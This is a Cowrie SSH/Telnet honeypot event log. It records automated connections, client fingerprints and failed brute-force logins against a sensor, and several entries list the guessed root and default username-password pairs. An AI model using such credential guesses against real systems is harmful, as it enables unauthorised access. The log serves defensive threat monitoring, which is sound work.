{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:38.094257Z","src_ip":"103.149.28.157","session":"f5f90094560a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:38.348687Z","src_ip":"103.149.28.157","session":"f5f90094560a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"verbatim","message":"login attempt [root/verbatim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:39.102988Z","src_ip":"103.149.28.157","session":"f5f90094560a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":35218,"dst_ip":"159.203.135.109","dst_port":22,"session":"87581f290ac6","protocol":"ssh","message":"New connection: 103.75.182.198:35218 (159.203.135.109:22) [session: 87581f290ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:39.167396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:39.172149Z","src_ip":"103.75.182.198","session":"87581f290ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:39.419588Z","src_ip":"103.75.182.198","session":"87581f290ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456l","message":"login attempt [root/123456l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:40.170285Z","src_ip":"103.75.182.198","session":"87581f290ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:40.355685Z","src_ip":"103.149.28.157","session":"f5f90094560a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:41.418391Z","src_ip":"103.75.182.198","session":"87581f290ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":57158,"dst_ip":"159.203.135.109","dst_port":22,"session":"668611d1ebd4","protocol":"ssh","message":"New connection: 43.156.2.226:57158 (159.203.135.109:22) [session: 668611d1ebd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:44.683772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:44.688431Z","src_ip":"43.156.2.226","session":"668611d1ebd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:44.925800Z","src_ip":"43.156.2.226","session":"668611d1ebd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:45.907968Z","src_ip":"43.156.2.226","session":"668611d1ebd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:47.147888Z","src_ip":"43.156.2.226","session":"668611d1ebd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41126,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaedf678093b","protocol":"telnet","message":"New connection: 192.119.13.58:41126 (10.17.0.5:23) [session: aaedf678093b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:58.834201Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":44858,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c64de246c6","protocol":"ssh","message":"New connection: 109.172.54.111:44858 (159.203.135.109:22) [session: 70c64de246c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:00.269439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:00.274781Z","src_ip":"109.172.54.111","session":"70c64de246c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:00.370777Z","src_ip":"109.172.54.111","session":"70c64de246c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfhdfhf","message":"login attempt [root/dfhdfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:00.675809Z","src_ip":"109.172.54.111","session":"70c64de246c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:01.773721Z","src_ip":"109.172.54.111","session":"70c64de246c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59778,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c16fd26bbd","protocol":"ssh","message":"New connection: 176.65.148.108:59778 (10.17.0.5:22) [session: 19c16fd26bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:04.088595Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:04.172987Z","src_ip":"176.65.148.108","session":"19c16fd26bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fb1b4bc1eca","protocol":"ssh","message":"New connection: 176.65.148.108:59782 (10.17.0.5:22) [session: 2fb1b4bc1eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:04.251408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:04.255908Z","src_ip":"176.65.148.108","session":"2fb1b4bc1eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:04.338171Z","src_ip":"176.65.148.108","session":"2fb1b4bc1eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a2","password":"a2","message":"login attempt [a2/a2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:05.041458Z","src_ip":"176.65.148.108","session":"2fb1b4bc1eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:06.127946Z","src_ip":"176.65.148.108","session":"2fb1b4bc1eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":47666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7234ae74a48f","protocol":"ssh","message":"New connection: 69.6.234.27:47666 (159.203.135.109:22) [session: 7234ae74a48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:10.317338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:10.329721Z","src_ip":"69.6.234.27","session":"7234ae74a48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:10.403056Z","src_ip":"69.6.234.27","session":"7234ae74a48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:10.724811Z","src_ip":"69.6.234.27","session":"7234ae74a48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:11.800118Z","src_ip":"69.6.234.27","session":"7234ae74a48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.27.7.160","src_port":59282,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a397c6f8a5","protocol":"ssh","message":"New connection: 37.27.7.160:59282 (10.17.0.5:22) [session: 46a397c6f8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:18.606213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:18.610787Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:18.720731Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:09:4d:86:98:35:02:f5:51:3d:8f:5f:e5:7b:23:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqLwNNNaNVGh/KQkvpuTN2pNQ8JK286nkv/iIaXEPWlPpVQRBrLT78X8Gwd5WBRzSkdFiCOmiJ4g0u73U2Xs6O4B6jceg9iUFolbLBZYBJZeu+gcf02qtaIYMhFnevJR9excIfIikhUHef8iAh+m3Vm7vnV6L5oq4WeJnBQZVaNzMW+hPyzFgylcD5sovA2n7kD8GXerXXV+fPUOFddXJJ5yVDdR9VHAzK5EoT2mAjZu/5SY8cv0Ulm0CdGZOOP7VNMjOmRvR/a+aL4p3dFf3rWGNVoM1rZvAe02gH4Qhq9mRhML881a5GZt06+5pTbknEG59wEIDROzs4OTd6V3I9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:09:4d:86:98:35:02:f5:51:3d:8f:5f:e5:7b:23:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.256326Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:09:4d:86:98:35:02:f5:51:3d:8f:5f:e5:7b:23:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqLwNNNaNVGh/KQkvpuTN2pNQ8JK286nkv/iIaXEPWlPpVQRBrLT78X8Gwd5WBRzSkdFiCOmiJ4g0u73U2Xs6O4B6jceg9iUFolbLBZYBJZeu+gcf02qtaIYMhFnevJR9excIfIikhUHef8iAh+m3Vm7vnV6L5oq4WeJnBQZVaNzMW+hPyzFgylcD5sovA2n7kD8GXerXXV+fPUOFddXJJ5yVDdR9VHAzK5EoT2mAjZu/5SY8cv0Ulm0CdGZOOP7VNMjOmRvR/a+aL4p3dFf3rWGNVoM1rZvAe02gH4Qhq9mRhML881a5GZt06+5pTbknEG59wEIDROzs4OTd6V3I9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.259717Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:61:2d:46:04:ec:0e:ec:74:92:74:12:d6:66:d7:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/RZOGXBWrxjVHtndeUGdcvIcRzwAj3aMUBMam2i/FqRBG8H2bFozMakCYHBFhmnFV+Lc2Q2hQ8YuPQIwJiwbB1vJjntsO+ZPDbw4EuBxbyCGA8n+r3TLBwv9n1GbSSKyEt+gcXpxNrvFTGQF/MHJlVvE8RBxI8F9y+4qoi7tCuLBM+LLeyejqxrvKSDbutubk6dS1jvjMzw5k7OnAQSPMllTjwLGoEm4yx48bKhnoadCGzJ70zcmYkyzK5Z5E8NtG5N2w2nBYAHtPFk6OAMitOqzsqqJdvS0vDF1MULgW9M8xp5OD5UuwGSkA+euLEodcq8rC5YaWgAKQajcWp/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:61:2d:46:04:ec:0e:ec:74:92:74:12:d6:66:d7:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.371756Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:61:2d:46:04:ec:0e:ec:74:92:74:12:d6:66:d7:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/RZOGXBWrxjVHtndeUGdcvIcRzwAj3aMUBMam2i/FqRBG8H2bFozMakCYHBFhmnFV+Lc2Q2hQ8YuPQIwJiwbB1vJjntsO+ZPDbw4EuBxbyCGA8n+r3TLBwv9n1GbSSKyEt+gcXpxNrvFTGQF/MHJlVvE8RBxI8F9y+4qoi7tCuLBM+LLeyejqxrvKSDbutubk6dS1jvjMzw5k7OnAQSPMllTjwLGoEm4yx48bKhnoadCGzJ70zcmYkyzK5Z5E8NtG5N2w2nBYAHtPFk6OAMitOqzsqqJdvS0vDF1MULgW9M8xp5OD5UuwGSkA+euLEodcq8rC5YaWgAKQajcWp/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.377086Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
